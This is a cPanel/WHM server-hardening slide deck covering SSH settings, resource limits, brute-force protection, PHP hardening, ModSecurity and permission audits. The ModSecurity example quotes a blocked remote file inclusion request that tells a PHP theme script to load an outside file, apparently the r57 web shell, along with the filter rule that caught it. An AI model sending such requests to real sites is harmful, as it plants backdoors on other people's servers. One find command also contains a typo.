



Security 1

By: Todd Shipway

Simplify.



All trademarks used herein are the sole property of their respective owners.

Simplify.

Main Topics

»» Physical Security

»» Local Security

»» Remote Security

Why is Security Important?

- »» Your server is just like your office.
- »» Keep a secure server, and know what's going on at all times.

Physical Security

- »» Lock server room doors
- »» Limit physical access

Local Security

- »» Passwords
- »» Shell Access
- »» Resources
- »» User privileges

Passwords

- »» Insecure passwords are the most common security vulnerability.
- »» Use at least 8 characters
- »» Include alphanumeric and grammatical symbols.

Shell Access for Users

- »» Limit shell access
- »» Always use Jailshell

Secure SSH

- »» Run ssh on a different port
- »» Use Protocol 2 only
- »» /etc/ssh/sshd_config
 - Port 22 -> Port 1887
 - Protocol 2,1 -> Protocol 2
- »» Enable public key authentication
- »» Disable password and PAM authentication

SSH Keys

- »» A great tool for locking down access to your server.
- »» Public key authentication uses a private key and a public key to authenticate users.

WHM

SSH Password Auth Tweak

- »» Disables Password Authentication
- »» Creates a key to authenticate SSH sessions

Shell Resource Limits

»» /etc/security/limits.conf

»» Start with very relaxed settings and set stricter limits as needed.

Limits.conf Explained

<domain> can be:

- an user name
- a group name, with @group syntax

<type> can have the two values:

- "soft" for enforcing the soft limits
- "hard" for enforcing hard limits

<item> can be one of the following:

- nofile - max number of open files
- rss - max resident set size (KB)
- cpu - max CPU time (MIN)
- nproc - max number of processes
- maxlogins - max number of logins for this user

Shell Resource Limits cont.

»» Example settings to start with

– <domain>	<type>	<item>	<value>
– @users	hard	nofile	500
– @users	hard	cpu	30
– @users	hard	nproc	150
– @users	soft	nproc	100
– @users	hard	rss	50000
– @users	-	maxlogins	3
– nobody	hard	nofile	16384

WHM

Shell Fork Bomb Protection

- » Prevent shell users from using up the server's resources and possibly crashing the server.
- » Sets up rules based on 'ulimit' in bashrc.

Securing /tmp

- »» Many exploits can be run from an insecure tmp directory
- »» Use a separate partition for /tmp that is mounted with nosuid.
- »» /scripts/securetmp will mount your /tmp partition to a temporary file for extra security.

Wheel Group Users

- »» The 'wheel' group is a group of user accounts that are allowed to get root access.
- »» If you aren't in the 'wheel' group, you are denied access to root when using the 'su' command.

sudo

- »» 'su' gives a user full root access
- »» 'sudo' will allow users to run certain commands as root without having full root privileges.
- »» You can use `/etc/sudoers` to limit command access to certain users.

WHM Compilers Tweak

- »» Disables the systems c and c++ compilers for all users.
- »» Give specific users compiler access as needed.

WHM

Traceroute Tweak

- »» Disables the system's traceroute utility.
- »» Keeps users from running traceroute to map your server's network.
- »» Low-Level risk

Remote Security

»» Firewalls

»» Brute Force Attacks

»» Access Control

»» Apache & PHP

Firewalls

» iptables - Linux

» APF – iptables frontend

» ipfw – FreeBSD

» For a full list of ports used, see:

<http://www.cpanel.net/security/firewalls.html>

WHM

Brute Force Protection

- »» New feature of cPanel 11
- »» cPanel uses 'cPHulkd' for protection
- »» Monitors all pam auth modules and logs to a mysql database.
- »» Protects all services using pam authentication, this includes cPanel, WHM, SSH, FTP, IMAP and POP3

WHM

Brute Force Protection cont.

- »» When an attack is detected, cPHulkd will disable authentication to the service being attacked.
- »» You can use WHM to customize thresholds and lock out times.

WHM Host Access Control

»» New feature of cPanel 11

»» Allows you to control access to server and specific services

ssh	ALL	deny	Deny all ssh access
ssh	123.123.123.123	allow	Allows ssh access for 123.

WHM SMTP Tweak

- » Prevents users from bypassing the mail server to send mail
- » Only allows MTA, mailman and root to connect to remote SMTP servers.

Apache/PHP Security

- »» PHP makes it simple for an amateur coder to introduce a very insecure script or application.
- »» Backdoors, shell imitation scripts, etc. can be launched to give full access to the server, even if the account has no shell access.

WM

Apache Memory Usage

- »» Calculates memory and CPU limits for apache
 - Sets RlimitCPU and RlimitMEM
 - RLimitCPU
 - Sets a limit on CPU usage for all processes forked off from child processes.
 - RlimitMEM
 - Sets a limit on memory usage for all processes forked off from child processes.

WHM

Apache open_basedir

- » Prevents users from opening files outside of their home directory with php scripts.

PHPSuExec

- »» Allows easier tracking of scripts and forces them to run as the user instead of 'nobody'
- »» Enforces more secure file permissions.

PHPSuExec

- » Enable using Apache Update within WHM or EasyApache to rebuild PHP with PHPSuExec enabled.
- » Things to keep in mind when enabling PHPSuExec
 - User's local php.ini

WHM PHP Configuration Editor

- »» New feature of cPanel 11
- »» Allows easy editing of global php.ini
 - register_globals – Off
 - safe_mode - On

ModSecurity

»» WHM Plugins > mod_security

»» Realtime analysis of web requests and blocks malicious requests.

»» <http://www.modsecurity.org/>



ModSecurity Example

```
/usr/local/apache/conf/mod_sec.conf:  
SecFilter "THEME_DIR=http"
```

```
/usr/local/apache/logs/error_log:
```

```
=====
```

```
[Mon May 28 06:08:01 2007] [error] [client 84.254.218.252] mod_security: Access denied with code 406.
```

```
Pattern match "THEME_DIR=http" at REQUEST_URI
```

```
[severity "EMERGENCY"] [hostname "www.sitename.com"]
```

```
[uri "/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://www.gonfiabiligamespark.it/flash/r57.txt?"]
```

```
=====
```

```
/usr/local/apache/logs/audit_log:
```

```
==64127520=====
```

```
Request: www.sitename.com 84.254.218.252 - -
```

```
[28/May/2007:06:08:01 -0500]
```

```
"GET /modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://www.gonfiabiligamespark.it/flash/r57.txt?
```

```
HTTP/1.1" 406 381 "-" "libwww-perl/5.803" - "-"
```

```
-----
```

```
GET /modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://www.gonfiabiligamespark.it/flash/r57.txt? HTTP/1.1
```

```
Connection: TE, close
```

```
Host: www.sitename.com
```

```
TE: deflate,gzip;q=0.3
```

```
User-Agent: libwww-perl/5.803
```

```
mod_security-action: 406
```

```
mod_security-message: Access denied with code 406. Pattern match "THEME_DIR=http" at REQUEST_URI [severity "EMERGENCY"]
```

```
HTTP/1.1 406 Not Acceptable
```

```
Connection: close
```

```
Transfer-Encoding: chunked
```

```
Content-Type: text/html; charset=iso-8859-1
```

```
--64127520--0
```

WHM

Quick Security Scan

➤➤ Automatically scans and stops unneeded services.
– Portmap, atd, cups, gpm, NIS, NFS statd

➤➤ /scripts/quicksecure

➤➤ Check /etc/xinetd.conf and /etc/xinetd.d/

Other Security Concerns

»» Web Applications

»» Permissions

»» Tools

Site Software

»» Proper Installation

»» Stay updated

Permissions

»» Find all world writable files and directories

- `find / \(-perm -a+w \) ! -type l >> world_writable.txt`
 - Fixing bad permissions can break poorly coded php/cgi scripts

Permissions

»» Find all suid/gid files

- `find ^(-perm -4000 -o -perm -2000 \) -exec ls -ldb {} \; >> suid_files.txt`
 - Many files need these elevated permissions, do not “fix” the reported files without knowing exactly how it will affect the system
 - sudo, su, mount, etc.

»» Find all files with no owner or group

- `find / -nouser -o -nogroup >> no_owner.txt`
 - All files should be owned by a specific user or group

WHM

Trojan Horse Scan

- » Looks for any modified binary files on the system that could be a potential trojan or rootkit.

3rd Party Security Tools

»» ELS – Easy Linux Security

- <http://www.servermonkeys.com/els.php>

»» Tripwire

- Commercial: <http://www.tripwire.com>
- OSS Branch: <http://www.sourceforge.net/projects/tripwire>

»» Chkrootkit

- <http://www.chkrootkit.org/>

»» Rkhunter

- http://www.rootkit.nl/projects/rootkit_hunter.html

Scan Alert

»» HackerSafe + PCI Compliance

»» cPanel Partner

»» <https://www.scanalert.com/>

Day to Day Security

- »» Look for programs attached to ports that you did not install / authorize
 - *netstat -anp*

- »» Check logs frequently to make sure your system is functioning as expected.
 - /var/log/
 - /usr/local/apache/logs/

General Policies

- »» Use sftp, scp, smtp+ssl, pop+ssl and cPanel over SSL
- »» Change passwords frequently
- »» Monitor the system logs.

Stay Informed

»» Join mailing lists to get information when it is first available.

- <http://www.securityfocus.com/>
 - Bugtraq
 - Incidents
- <http://lists.netsys.com/mailman/listinfo/full-disclosure>
 - One of the best, unmoderated sources of security issues.

cPanel Security Center

»» <http://www.cpanel.net/security/>

»» Reference for all security news and updates regarding cPanel

Q & A

»» Ask away!

Simplify.